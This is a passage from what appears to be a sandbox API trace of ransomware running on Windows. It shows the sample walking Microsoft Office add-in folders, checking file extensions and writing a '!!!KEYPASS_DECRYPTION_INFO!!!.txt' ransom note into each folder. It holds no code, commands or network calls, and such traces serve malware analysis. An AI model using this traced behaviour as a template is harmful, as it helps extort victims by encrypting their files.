returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.905] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0254.905] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.906] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0254.906] FindNextFileW (in: hFindFile=0x3987af8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0254.906] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0254.906] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0254.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0254.907] GetLastError () returned 0x3f0 [0254.907] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0254.907] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0254.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0254.937] GetFileType (hFile=0x8c8) returned 0x1 [0254.937] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0254.937] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0254.937] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0254.937] WriteFile (in: hFile=0x8c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0254.938] WriteFile (in: hFile=0x8c8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0254.938] CloseHandle (hObject=0x8c8) returned 1 [0254.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987cb8 [0254.938] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.940] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.940] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0254.940] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.940] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml") returned=".xml" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.941] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0254.941] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0254.942] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0254.942] FindNextFileW (in: hFindFile=0x3987cb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0254.942] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0254.942] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0254.942] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0254.942] GetLastError () returned 0x3f0 [0254.942] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0254.942] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0254.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0254.992] GetFileType (hFile=0x8c4) returned 0x1 [0254.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0254.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0254.992] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0254.992] WriteFile (in: hFile=0x8c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0254.993] WriteFile (in: hFile=0x8c4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0254.993] CloseHandle (hObject=0x8c4) returned 1 [0254.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39880f8 [0254.993] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.007] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.007] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\LocalizedStrings.xml") returned=".xml" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.008] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.008] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.009] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.009] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 